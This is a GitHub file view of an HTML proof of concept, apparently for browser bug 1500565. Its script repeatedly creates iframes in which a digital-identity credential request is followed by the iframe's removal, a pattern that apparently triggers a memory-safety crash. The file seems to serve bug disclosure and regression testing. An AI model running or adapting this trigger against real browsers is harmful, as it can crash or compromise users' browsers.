-
Notifications
You must be signed in to change notification settings - Fork 40
/
bug1500565-poc.html
47 lines (43 loc) · 991 Bytes
/
bug1500565-poc.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script>
async function query() {
navigator.credentials.get({
identity: {
providers: [{
holder: {
selector: {
format: ["mdoc"],
doctype: "org.iso.18013.5.1.mDL",
fields: [
"org.iso.18013.5.1.family_name"
]
},
params: {
nonce: "123123",
readerPublicKey: '123123',
moreParametersAsNeededHere: true
},
},
}],
},
});
window.parent.deallocate();
}
var iframe;
function test() {
allocate();
}
function allocate() {
var iframe = document.createElement("iframe");
iframe.src = window.location + "#child";
document.body.appendChild(iframe);
g_iframe = iframe;
}
function deallocate() {
document.body.removeChild(g_iframe);
}
if (window.location.hash == "#child") {
query();
} else {
setInterval(test, 700);
}
</script>